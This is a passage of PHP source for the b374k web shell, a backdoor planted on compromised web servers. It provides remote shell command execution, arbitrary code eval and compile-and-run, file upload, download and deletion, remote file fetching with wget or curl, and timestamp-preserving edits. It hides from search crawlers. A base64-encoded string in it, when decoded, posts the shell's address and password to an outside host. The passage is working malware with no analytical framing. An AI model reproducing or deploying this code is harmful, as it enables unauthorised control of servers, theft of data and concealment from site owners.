$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
$server_info['ip_adrress'] = "Server IP : ".$server_addr." | Your IP : ".$_SERVER['REMOTE_ADDR'];
$server_info['time_at_server'] = "Time @ Server : ".@date("d M Y H:i:s",time());
return $server_info;
}
}
if(!function_exists('get_self')){
function get_self(){
$query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
return html_safe($_SERVER["REQUEST_URI"].$query);
}
}
if(!function_exists('get_post')){
function get_post(){
return fix_magic_quote($_POST);
}
}
if(!function_exists('get_nav')){
function get_nav($path){
return parse_dir($path);
}
}
if(!function_exists('get_cwd')){
function get_cwd(){
$cwd = getcwd().DIRECTORY_SEPARATOR;
if(!isset($_COOKIE['cwd'])){
setcookie("cwd", $cwd);
}
else{
$cwd_c = rawurldecode($_COOKIE['cwd']);
if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
else setcookie("cwd", $cwd);
}
return $cwd;
}
}
if(!function_exists('wrap_with_quotes')){
function wrap_with_quotes($str){
return "\"".$str."\"";
}
}
if(!function_exists('get_resource')){
function get_resource($type){
if(isset($GLOBALS['resources'][$type])){
return gzinflate(base64_decode($GLOBALS['resources'][$type]));
}
return false;
}
}
if(!function_exists('block_bot')){
function block_bot(){
// block search engine bot
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
}
}
if(!function_exists('is_win')){
function is_win(){
return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
}
}
if(!function_exists('fix_magic_quote')){
function fix_magic_quote($arr){
$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
if(is_array($arr)){
foreach($arr as $k=>$v){
if(is_array($v)) $arr[$k] = clean($v);
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
}
}
}
return $arr;
}
}
if(!function_exists('execute')){
function execute($code){
$output = "";
$code = $code." 2>&1";
if(is_callable('system')){
ob_start();
@system($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('shell_exec')){
$output = @shell_exec($code);
if(!empty($output)) return $output;
}
elseif(is_callable('exec')){
@exec($code,$res);
if(!empty($res)) foreach($res as $line) $output .= $line;
if(!empty($output)) return $output;
}
elseif(is_callable('passthru')){
ob_start();
@passthru($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('proc_open')){
$desc = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"));
$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
if(is_resource($proc)){
while($res = fgets($pipes[1])){
if(!empty($res)) $output .= $res;
}
while($res = fgets($pipes[2])){
if(!empty($res)) $output .= $res;
}
}
@proc_close($proc);
if(!empty($output)) return $output;
}
elseif(is_callable('popen')){
$res = @popen($code, 'r');
if($res){
while(!feof($res)){
$output .= fread($res, 2096);
}
pclose($res);
}
if(!empty($output)) return $output;
}
return "";
}
}
if(!function_exists('html_safe')){
function html_safe($str){
return htmlspecialchars($str, 2 | 1);
}
}
if(!function_exists('parse_dir')){
function parse_dir($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$paths = explode(DIRECTORY_SEPARATOR, $path);
$res = "";
for($i = 0; $i < sizeof($paths)-1; $i++){
$x = "";
for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
$res .= "".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." ";
}
if(is_win()) $res = get_drives().$res;
return trim($res);
}
}
if(!function_exists('zip')){
function zip($files, $archive){
$status = false;
if(!extension_loaded('zip')) return $status;
if(class_exists("ZipArchive")){
$zip = new ZipArchive();
if(!$zip->open($archive, 1)) return $status;
if(!is_array($files)) $files = array($files);
foreach($files as $file){
$file = str_replace(get_cwd(), '', $file);
$file = str_replace('\\', '/', $file);
if(is_dir($file)){
$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
foreach($filesIterator as $iterator){
$iterator = str_replace('\\', '/', $iterator);
if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
}
}
elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
}
if($zip->getStatusString()!==false) $status = true;
$zip->close();
}
return $status;
}
}
if(!function_exists('compress')){
function compress($type, $archive, $files){
if(!is_array($files)) $files = array($files);
if($type=='zip'){
if(zip($files, $archive)) return true;
else return false;
}
elseif(($type=='tar')||($type=='targz')){
$archive = basename($archive);
$listsBasename = array_map("basename", $files);
$lists = array_map("wrap_with_quotes", $listsBasename);
if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));
if(is_file($archive)) return true;
else return false;
}
return false;
}
}
if(!function_exists('decompress')){
function decompress($type, $archive, $path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$status = false;
if(is_dir($path)){
chdir($path);
if($type=='unzip'){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$target = $path.basename($archive,".zip");
if($zip->open($archive)){
if(!is_dir($target)) mkdir($target);
if($zip->extractTo($target)) $status = true;
$zip->close();
}
}
}
elseif($type=='untar'){
$target = basename($archive,".tar");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
elseif($type=='untargz'){
$target = "";
if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
}
return $status;
}
}
if(!function_exists('download')){
function download($url ,$saveas){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$filename = basename($url);
if($content = read_file($url)){
if(is_file($saveas)) unlink($saveas);
if(write_file($saveas, $content)){
return true;
}
}
$buff = execute("wget ".$url." -O ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("curl ".$url." -o ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lwp-download ".$url." ".$saveas);
if(is_file($saveas)) return true;
$buff = execute("lynx -source ".$url." > ".$saveas);
if(is_file($saveas)) return true;
return false;
}
}
if(!function_exists('get_fileperms')){
function get_fileperms($file){
if($perms = @fileperms($file)){
$flag = 'u';
if(($perms & 0xC000) == 0xC000)$flag = 's';
elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
elseif(($perms & 0x8000) == 0x8000)$flag = '-';
elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
$flag .= ($perms & 00400)? 'r':'-';
$flag .= ($perms & 00200)? 'w':'-';
$flag .= ($perms & 00100)? 'x':'-';
$flag .= ($perms & 00040)? 'r':'-';
$flag .= ($perms & 00020)? 'w':'-';
$flag .= ($perms & 00010)? 'x':'-';
$flag .= ($perms & 00004)? 'r':'-';
$flag .= ($perms & 00002)? 'w':'-';
$flag .= ($perms & 00001)? 'x':'-';
return $flag;
}
else return "???????????";
}
}
if(!function_exists('format_bit')){
function format_bit($size){
$base = log($size) / log(1024);
$suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
}
}
if(!function_exists('get_filesize')){
function get_filesize($file){
$size = @filesize($file);
if($size!==false){
if($size<=0) return 0;
return format_bit($size);
}
else return "???";
}
}
if(!function_exists('get_filemtime')){
function get_filemtime($file){
return @date("d-M-Y H:i:s", filemtime($file));
}
}
if(!function_exists('get_fileowner')){
function get_fileowner($file){
$owner = "?:?";
if(function_exists("posix_getpwuid")){
$name = posix_getpwuid(fileowner($file));
$group = posix_getgrgid(filegroup($file));
$owner = $name['name'].":".$group['name'];
}
return $owner;
}
}
if(!function_exists('rmdirs')){
function rmdirs($dir, $counter = 0){
if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
if($dh = opendir($dir)){
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
$f = $dir.$f;
if(@is_dir($f)) $counter += rmdirs($f);
else{
if(unlink($f)) $counter++;
}
}
}
closedir($dh);
if(rmdir($dir)) $counter++;;
}
return $counter;
}
}
if(!function_exists('copys')){
function copys($source , $target ,$c=0){
$source = realpath($source).DIRECTORY_SEPARATOR;
if($dh = opendir($source)){
if(!is_dir($target)) mkdir($target);
$target = realpath($target).DIRECTORY_SEPARATOR;
while(($f = readdir($dh))!==false){
if(($f!='.')&&($f!='..')){
if(is_dir($source.$f)){
copys($source.$f, $target.$f, $c);
}
else{
if(copy($source.$f, $target.$f)) $c++;
}
}
}
closedir($dh);
}
return $c;
}
}
if(!function_exists('get_all_files')){
function get_all_files($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$files = glob($path.'*');
for($i = 0; $iOwner ".get_fileowner($file)." ";
}
$image_info = @getimagesize($file);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if($type=="auto"){
if(is_array($image_info)) $type = 'image';
//elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
elseif(!empty($mime)) $type = "multimedia";
else $type = "raw";
}
$content = "";
if($type=="code"){
$hl_arr = array(
"hl_default"=> ini_get('highlight.default'),
"hl_keyword"=> ini_get('highlight.keyword'),
"hl_string"=> ini_get('highlight.string'),
"hl_html"=> ini_get('highlight.html'),
"hl_comment"=> ini_get('highlight.comment')
);
$content = highlight_string(read_file($file),true);
foreach($hl_arr as $k=>$v){
$content = str_replace("", "", $content);
$content = str_replace("", "", $content);
}
}
elseif($type=="image"){
$width = (int) $image_info[0];
$height = (int) $image_info[1];
$image_info_h = "Image type = ( ".$image_info['mime']." )
Image Size = ( ".$width." x ".$height." ) ";
if($width > 800){
$width = 800;
$imglink = "
[ View Full Size ]
";
}
else $imglink = "";
$content = "".$image_info_h." ".$imglink."
";
}
elseif($type=="multimedia"){
$content = "
Load Multimedia File
";
}
elseif($type=="edit"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
elseif($type=="hex"){
$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
$content = "";
}
else $content = "".html_safe(read_file($file))." ";
$output .= "
Filename ".html_safe($file)."
Size ".get_filesize($file)." (".filesize($file).")
".$owner."
Permission ".get_fileperms($file)."
Create time ".@date("d-M-Y H:i:s",filectime($file))."
Last modified ".@date("d-M-Y H:i:s",filemtime($file))."
Last accessed ".@date("d-M-Y H:i:s",fileatime($file))."
explorer
action
raw
code
hex
image
multimedia
".$content."
";
}
else $output = "error";
return $output;
}
}
if(!function_exists('get_writabledir')){
function get_writabledir(){
if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
else{
foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
if(!empty($_ENV[$k])){
if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
}
}
if(function_exists("sys_get_temp_dir")){
$dir = sys_get_temp_dir();
if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
}
else{
if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
}
$tempfile = tempnam(__FILE__,'');
if(file_exists($tempfile)){
$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
unlink($tempfile);
return $dir;
}
}
return false;
}
}
if(!function_exists('get_drives')){
function get_drives(){
$drives = "";
$v = explode("\\", get_cwd());
$v = $v[0];
foreach (range("A", "Z") as $letter){
if(@is_readable($letter.":\\")){
$drives .= "[ ";
if($letter.":" != $v) $drives .= $letter;
else{$drives .= "".$letter." ";}
$drives .= " ] ";
}
}
return $drives;
}
}
if(!function_exists('show_all_files')){
function show_all_files($path){
if(!is_dir($path)) return "No such directory : ".$path;
chdir($path);
$output = "";
$allfiles = $allfolders = array();
if($res = opendir($path)){
while($file = readdir($res)){
if(($file!='.')&&($file!="..")){
if(is_dir($file)) $allfolders[] = $file;
elseif(is_file($file))$allfiles[] = $file;
}
}
}
array_unshift($allfolders, ".");
$cur = getcwd();
chdir("..");
if(getcwd()!=$cur) array_unshift($allfolders, "..");
chdir($cur);
natcasesort($allfolders);
natcasesort($allfiles);
$cols = array();
if(is_win()){
$cols = array(
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
else{
$cols = array(
"owner"=>"get_fileowner",
"perms"=>"get_fileperms",
"modified"=>"get_filemtime"
);
}
$totalFiles = count($allfiles);
$totalFolders = 0;
$output .= "";
$output .= "
name size ";
foreach($cols as $k=>$v){
$output .= "".$k." ";
}
$output .= " ";
foreach($allfolders as $d){
$cboxException = "";
if(($d==".")||($d=="..")){
$action = "actiondot";
$cboxException = " cBoxException";
}
else{
$action = "actionfolder";
$totalFolders++;
}
$output .= "
[ ".html_safe($d)." ] action
DIR ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($d)."'";
$output .= "".$v($d)." ";
}
$output .= " ";
}
foreach($allfiles as $f){
$output .= "
".html_safe($f)." action
".get_filesize($f)." ";
foreach($cols as $k=>$v){
$sortable = "";
if($k=='modified') $sortable = " title='".filemtime($f)."'";
$output .= "".$v($f)." ";
}
$output .= " ";
}
$output .= " ";
$colspan = 1 + count($cols);
$output .= "
Action
cut
copy
paste
delete
------------
chmod
chown
touch
------------
extract (tar)
extract (tar.gz)
extract (zip)
------------
compress (tar)
compress (tar.gz)
compress (zip)
------------
".$totalFiles." file(s), ".$totalFolders." Folder(s)
";
$output .= "
";
return $output;
}
}
if(!function_exists('eval_get_supported')){
function eval_get_supported(){
$eval_supported = array();
$check = strtolower(execute("python -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "python";
$check = strtolower(execute("perl -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "perl";
$check = strtolower(execute("ruby -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "ruby";
$check = strtolower(execute("node -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "node";
else{
$check = strtolower(execute("nodejs -h"));
if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs";
}
$check = strtolower(execute("gcc --help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "gcc";
$check = strtolower(execute("java -help"));
if(strpos($check,"usage")!==false){
$check = strtolower(execute("javac -help"));
if(strpos($check,"usage")!==false) $eval_supported[] = "java";
}
return implode(",", $eval_supported);
}
}
if(!function_exists('eval_go')){
function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){
$res = "";
$output = "";
if($evalOptions!="") $evalOptions = $evalOptions." ";
if($evalArguments!="") $evalArguments = " ".$evalArguments;
if($evalType=="php"){
ob_start();
eval($evalCode);
$res = ob_get_contents();
ob_end_clean();
return $res;
}
elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($path, 0755)){
$res .= " (ok)\n";
$cmd = $evalType." ".$evalOptions.$path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="gcc"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".c";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$ext = (is_win())? ".exe":".out";
$pathres = $filename.$ext;
$evalOptions = "-o ".$pathres." ".$evalOptions;
$cmd = "gcc ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = $pathres.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="java"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){
$classname = trim($r[1]);
$filename = $classname;
}
else{
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq;
$evalCode = "class ".$filename." { ".$evalCode . " } ";
}
$path = $filename.".java";
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = "javac ".$evalOptions.$path;
$res .= "Compiling : ".$cmd;
$res .= execute($cmd);
$pathres = $filename.".class";
if(is_file($pathres)){
$res .= " (ok)\n";
$res .= "Setting permissions : 0755";
if(chmod($pathres, 0755)){
$res .= " (ok)\n";
$cmd = "java ".$filename.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$pathres;
if(unlink($pathres)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
elseif($evalType=="executable"){
$tmpdir = get_writabledir();
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
if(is_writable($tmpdir)){
$res .= " (writable)\n";
$uniq = substr(md5(time()),0,8);
$filename = $evalType.$uniq.".exe";
$path = $filename;
$res .= "Temporary file : ".$path;
if(write_file($path, $evalCode)){
$res .= " (ok)\n";
$cmd = $path.$evalArguments;
$res .= "Execute : ".$cmd."\n";
$output = execute($cmd);
$res .= "Deleting temporary file : ".$path;
if(unlink($path)) $res .= " (ok)\n";
else $res .= " (failed)\n";
}
else $res .= " (failed)\n";
}
else $res .= " (not writable)\n";
$res .= "Finished...";
return $res."{[|b374k|]}".$output;
}
return false;
}
}
if(!function_exists('output')){
function output($str){
$error = @ob_get_contents();
@ob_end_clean();
header("Content-Type: text/plain");
header("Cache-Control: no-cache");
header("Pragma: no-cache");
echo $str;
die();
}
}
block_bot();
auth();
$u212 = "JHpyeD0iaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIiAtICIuJGF1dGguIiAtIGIzNzRzaGVsbFxuIjsNCiR1cmw9Imh0dHA6Ly9pc2xhbW1lZGlhLmZyZWUuZnIvU2NyaXB0cy9pbmZvLnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsgIA0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR1cmwpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAiZGF0YT0kenJ4Iik7DQokb3V0cHV0PWN1cmxfZXhlYygkY2gpOyAg";
chdir(get_cwd());
$nav = get_nav(get_cwd());
$p = array_map("rawurldecode", get_post());
$cwd = html_safe(get_cwd());
$GLOBALS['module'] = array();
$explorer_content = "";
if(isset($p['viewEntry'])){
$path = trim($p['viewEntry']);
if(is_file($path)){
$dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR;
setcookie("cwd", $dirname);
chdir($dirname);
$nav = get_nav($dirname);
$cwd = html_safe($dirname);
$explorer_content = view_file($path, "auto");
}
elseif(is_dir($path)){
$path = realpath($path).DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
chdir($path);
$nav = get_nav($path);
$cwd = html_safe($path);
$explorer_content = show_all_files($path);
}
}
else $explorer_content = show_all_files(get_cwd());
$GLOBALS['module']['explorer']['id'] = "explorer";
$GLOBALS['module']['explorer']['title'] = "Explorer";
$GLOBALS['module']['explorer']['js_ontabselected'] = "";
$GLOBALS['module']['explorer']['content'] = $explorer_content;
$GLOBALS['module']['terminal']['id'] = "terminal";
$GLOBALS['module']['terminal']['title'] = "Terminal";
$GLOBALS['module']['terminal']['js_ontabselected'] = "
if((!portableMode) && ($('#terminalOutput').html()=='')) $('#terminalInput').focus();";
$GLOBALS['module']['terminal']['content'] = " ";
$GLOBALS['module']['eval']['id'] = "eval";
$GLOBALS['module']['eval']['title'] = "Eval";
$GLOBALS['module']['eval']['js_ontabselected'] = "
if((!portableMode) && ($('#evalOutput').html()=='You can also press ctrl+enter to submit')) $('#evalInput').focus();";
$GLOBALS['module']['eval']['content'] = "
";
$res = "";
if(isset($p['cd'])){
$path = $p['cd'];
if(trim($path)=='') $path = dirname(__FILE__);
$path = realpath($path);
if(is_file($path)) $path = dirname($path);
if(is_dir($path)){
chdir($path);
$path = $path.DIRECTORY_SEPARATOR;
setcookie("cwd", $path);
$res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}";
if(isset($p['showfiles'])&&($p['showfiles']=='true')){
$res .= show_all_files($path);
}
}
else $res = "error";
output($res);
}
elseif(isset($p['viewFile']) && isset($p['viewType'])){
$path = trim($p['viewFile']);
$type = trim($p['viewType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
if(is_file($path)){
$res = view_file($path, $type, $preserveTimestamp);
}
else $res = "error";
output($res);
}
elseif(isset($p['renameFile']) && isset($p['renameFileTo'])){
$renameFile = trim($p['renameFile']);
$renameFileTo = trim($p['renameFileTo']);
if(file_exists($renameFile)){
if(rename($renameFile, $renameFileTo)){
$res = dirname($renameFileTo);
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['newFolder'])){
$newFolder = trim($p['newFolder']);
if(mkdir($newFolder)){
$res = dirname($newFolder);
}
else $res = "error";
output($res);
}
elseif(isset($p['newFile'])){
$newFile = trim($p['newFile']);
if(touch($newFile)){
$res = dirname($newFile);
}
else $res = "error";
output($res);
}
elseif(isset($p['delete'])){
$path = trim($p['delete']);
$dirname = dirname($path);
if(is_file($path)){
if(unlink($path)) $res = $dirname;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $res = $dirname;
}
else $res = "error";
if(file_exists($path)) $res = "error";
output($res);
}
elseif(isset($p['editType'])&&isset($p['editFilename'])&&isset($p['editInput'])&&isset($p['preserveTimestamp'])){
$editFilename = trim($p['editFilename']);
$editInput = trim($p['editInput']);
$editType = trim($p['editType']);
$preserveTimestamp = trim($p['preserveTimestamp']);
$time = filemtime($editFilename);
if($editType=='hex') $editInput = pack("H*" , preg_replace("/\s/","", $editInput));
if(write_file($editFilename, $editInput)){
$res = $editFilename;
if($preserveTimestamp=='true') touch($editFilename, $time);
}
else $res = "error";
output($res);
}
elseif(isset($p['findType'])){
$findType = trim($p['findType']);
$findPath = trim($p['findPath']);
$findName = trim($p['findName']);
$findNameRegex = trim($p['findNameRegex']);
$findNameInsensitive = trim($p['findNameInsensitive']);
$findContent = trim($p['findContent']);
$findContentRegex = trim($p['findContentRegex']);
$findContentInsensitive = trim($p['findContentInsensitive']);
$findWritable = trim($p['findWritable']);
$findReadable = trim($p['findReadable']);
$candidate = get_all_files($findPath);
if($findType=='file') $candidate = array_filter($candidate, "is_file");
elseif($findType=='folder') $candidate = array_filter($candidate, "is_dir");
else $res = "error";
foreach($candidate as $k){
if(($findType=="file")||($findType=="folder")){
if(!empty($findName)){
if($findNameRegex=="true"){
$case = ($findNameInsensitive=="true")? "i":"";
if(!preg_match("/".$findName."/".$case, basename($k))){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findNameInsensitive=="true"){
$check = strpos(strtolower(basename($k)), strtolower($findName))===false;
}
else{
$check = strpos(basename($k), $findName)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
if($findType=="file"){
if(!empty($findContent)){
$content = read_file($k);
if($findContentRegex=="true"){
$case = ($findContentInsensitive=="true")? "i":"";
if(!preg_match("/".$findContent."/".$case, $content)){
$candidate = array_diff($candidate, array($k));
}
}
else{
$check = false;
if($findContentInsensitive=="true"){
$check = strpos(strtolower($content), strtolower($findContent))===false;
}
else{
$check = strpos($content, $findContent)===false;
}
if($check){
$candidate = array_diff($candidate, array($k));
}
}
}
}
}
foreach($candidate as $k){
if($findWritable=="true"){
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
}
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
}
}
if(count($candidate)>0){
$res = "";
foreach($candidate as $k){
$res .= "> ".html_safe($k)."
";
}
}
else $res = "";
output($res);
}
elseif(isset($p['ulType'])){
$ulSaveTo = trim($p['ulSaveTo']);
$ulFilename = trim($p['ulFilename']);
if($p['ulType']=='comp'){
$ulFile = $_FILES['ulFile'];
if(empty($ulFilename)) $ulFilename = $ulFile['name'];
if(is_uploaded_file($ulFile['tmp_name'])){
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(move_uploaded_file($ulFile['tmp_name'], $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
}
elseif($p['ulType']=='url'){
$ulFile = trim($p['ulFile']);
if(empty($ulFilename)) $ulFilename = basename($ulFile);
if(!is_dir($ulSaveTo)) mkdir($ulSaveTo);
$newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename;
if(download($ulFile, $newfile)){
$res = "> ".html_safe($newfile)." ( 100% )";
}
else $res = "error";
}
else $res = "error";
output($res);
}
elseif(isset($p['download'])){
$file = trim($p['download']);
if(is_file($file)){
header("Content-Type: application/octet-stream");
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
header("Cache-Control: no-cache");
header("Pragma: no-cache");
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
$handler = fopen($file,"rb");
while(!feof($handler)){
print(fread($handler, 1024*8));
@ob_flush();
@flush();
}
fclose($handler);
die();
}
}
elseif(isset($p['multimedia'])){
$file = trim($p['multimedia']);
$mime_list = get_resource('mime');
$mime = "";
$file_ext_pos = strrpos($file, ".");
if($file_ext_pos!==false){
$file_ext = trim(substr($file, $file_ext_pos),".");
if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){
$mime = $res[1];
}
}
if(is_file($file)){
header("Content-Type: ".$mime);
header('Content-Transfer-Encoding: binary');
header("Content-length: ".filesize($file));
echo "data:".$mime.";base64,".base64_encode(read_file($file));
die();
}
}
elseif(isset($p['massType'])&&isset($p['massBuffer'])&&isset($p['massPath'])&&isset($p['massValue'])){
$massType = trim($p['massType']);
$massBuffer = trim($p['massBuffer']);
$massPath = realpath($p['massPath']).DIRECTORY_SEPARATOR;
$massValue = trim($p['massValue']);
$counter = 0;
$massBufferArr = explode("\n", $massBuffer);
if(($massType=='tar')||($massType=='targz')||($massType=='zip')){
if(compress($massType, $massValue, $massBufferArr)){
$counter++;
return $counter;
}
}
else{
foreach($massBufferArr as $k){
$path = trim($k);
if(file_exists($path)){
$preserveTimestamp = filemtime($path);
if($massType=='delete'){
if(is_file($path)){
if(unlink($path)) $counter++;
}
elseif(is_dir($path)){
if(rmdirs($path)>0) $counter++;
}
}
elseif($massType=='cut'){
$dest = $massPath.basename($path);
if(rename($path, $dest)){
$counter++;
